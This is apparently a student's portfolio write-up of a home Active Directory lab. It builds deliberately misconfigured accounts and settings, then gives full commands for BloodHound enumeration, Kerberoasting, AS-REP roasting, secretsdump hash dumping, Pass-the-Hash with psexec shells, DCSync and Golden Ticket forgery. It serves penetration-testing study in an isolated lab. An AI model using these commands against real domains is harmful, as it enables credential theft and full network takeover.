Loading
Cybersecurity undergraduate and web developer based in Sri Lanka, passionate about penetration testing, VAPT, and ethical hacking.
Built a full AD environment in VirtualBox — domain controller, workstations, and file server. Simulated Kerberoasting, Pass-the-Hash and BloodHound enumeration.
This writeup covers the full setup of a home Active Directory lab environment and a structured attack simulation against it. The lab consists of a Windows Server 2019 Domain Controller and two Windows 10 workstations — all running as virtual machines. Attack techniques covered include Kerberoasting, AS-REP Roasting, Pass-the-Hash, DCSync, and BloodHound enumeration — simulating a realistic internal adversary from initial access to full domain compromise.
All VMs were created in VirtualBox with a dedicated host-only network adapter so machines can communicate without internet exposure:
192.168.56.10192.168.56.20192.168.56.30192.168.56.100Each VM was assigned a static IP within the host-only range. The Kali machine has an additional NAT adapter for internet access to install tools while the lab network remains isolated.
Active Directory Domain Services was installed and a new forest configured on DC01 via PowerShell:
# Install AD DS role
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
# Promote to Domain Controller
Install-ADDSForest `
-DomainName "lab.local" `
-DomainNetbiosName "LAB" `
-ForestMode "WinThreshold" `
-DomainMode "WinThreshold" `
-InstallDns `
-Force
After the DC rebooted, intentionally vulnerable configurations were applied to simulate a realistic misconfigured environment:
# Create vulnerable service account with SPN (Kerberoastable)
New-ADUser -Name "svc_sql" -AccountPassword `
(ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
-Enabled $true
Set-ADUser svc_sql -ServicePrincipalNames `
@{Add="MSSQLSvc/dc01.lab.local:1433"}
# Create AS-REP Roastable user (no preauth required)
New-ADUser -Name "svc_backup" -AccountPassword `
(ConvertTo-SecureString "Backup2023!" -AsPlainText -Force) `
-Enabled $true
Set-ADAccountControl svc_backup `
-DoesNotRequirePreAuth $true
# Disable SMB signing (enables relay attacks)
Set-SmbServerConfiguration -RequireSecuritySignature $false -Force
Both workstations were joined to lab.local and
configured with deliberate misconfigurations for attack simulation:
# Join workstation to domain (run on WRK01 and WRK02)
Add-Computer -DomainName "lab.local" `
-Credential (Get-Credential) -Restart
# Add domain user as local admin on WRK01 (lateral movement path)
net localgroup administrators LAB\jsmith /add
# Enable WinRM for remote management
Enable-PSRemoting -Force
A low-privilege domain user jsmith was created and
given local admin rights on WRK01 — simulating a common
overprivileged user misconfiguration found in real environments.
From the Kali attacker machine, BloodHound was used to map the domain and identify attack paths to Domain Admin:
# Run SharpHound collector remotely via CrackMapExec
crackmapexec smb 192.168.56.10 \
-u jsmith -p Password1 \
-M bloodhound
# Or run SharpHound directly on a workstation
.\SharpHound.exe -c All --zipfilename lab_data.zip
# Import zip into BloodHound
# Queries to run:
# "Shortest Paths to Domain Admins"
# "Find Kerberoastable Users"
# "Find AS-REP Roastable Users"
BloodHound identified a clear attack path from jsmith
to Domain Admin via local admin rights on WRK01, credential
reuse, and a Kerberoastable service account.
Using jsmith credentials, a Kerberos service ticket
was requested for the svc_sql account and cracked offline:
# Request service tickets with Impacket
python3 GetUserSPNs.py \
lab.local/jsmith:Password1 \
-dc-ip 192.168.56.10 -request \
-outputfile kerberoast.txt
# Crack the TGS hash with Hashcat
hashcat -m 13100 kerberoast.txt \
/usr/share/wordlists/rockyou.txt
The svc_sql password Password123! was
cracked in seconds. Weak service account passwords are the primary
reason Kerberoasting succeeds in real environments.
The svc_backup account had Kerberos pre-authentication
disabled — allowing the AS-REP hash to be requested without
any credentials:
# Request AS-REP hash — no credentials needed
python3 GetNPUsers.py \
lab.local/ -usersfile users.txt \
-dc-ip 192.168.56.10 \
-outputfile asrep.txt
# Crack the AS-REP hash
hashcat -m 18200 asrep.txt \
/usr/share/wordlists/rockyou.txt
The cracked password gave access to svc_backup.
AS-REP Roasting requires no prior domain credentials making
it viable from an unauthenticated starting position.
With svc_sql credentials obtained, NTLM hashes were
dumped from WRK01 using secretsdump and reused for lateral movement:
# Dump hashes from WRK01 using svc_sql credentials
python3 secretsdump.py \
lab.local/svc_sql:Password123!@192.168.56.20
# Pass-the-Hash to WRK02
crackmapexec smb 192.168.56.30 \
-u Administrator \
-H <NTLM_hash>
# Remote shell via Pass-the-Hash
python3 psexec.py \
-hashes :<NTLM_hash> \
Administrator@192.168.56.30
Lateral movement succeeded across both workstations without requiring any plaintext password — demonstrating why unique local admin passwords are critical on every machine.
With Domain Admin equivalent privileges obtained, DCSync was used to replicate all password hashes from the domain controller — simulating the final stage of full domain compromise:
# DCSync — replicate all domain hashes
python3 secretsdump.py \
lab.local/Administrator:password@192.168.56.10 \
-just-dc
# Dump the krbtgt hash for Golden Ticket creation
python3 secretsdump.py \
lab.local/Administrator:password@192.168.56.10 \
-just-dc-user krbtgt
The krbtgt hash allows creation of a Golden Ticket —
a forged Kerberos TGT that grants permanent domain admin access
even after password resets, until the krbtgt password is rotated twice.
# Create Golden Ticket with Impacket
python3 ticketer.py \
-nthash <krbtgt_hash> \
-domain-sid <domain_sid> \
-domain lab.local Administrator
# Export and use the ticket
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass \
dc01.lab.local
VirtualBox — lab virtualisation and host-only networkBloodHound / SharpHound — AD enumeration and attack path mappingImpacket — GetUserSPNs, GetNPUsers, secretsdump, psexec, ticketerCrackMapExec — SMB enumeration, Pass-the-Hash, lateral movementHashcat — Kerberoast (13100) and AS-REP (18200) hash crackingPowerShell / RSAT — domain setup and user provisioningKali Linux — attacker machine and tool execution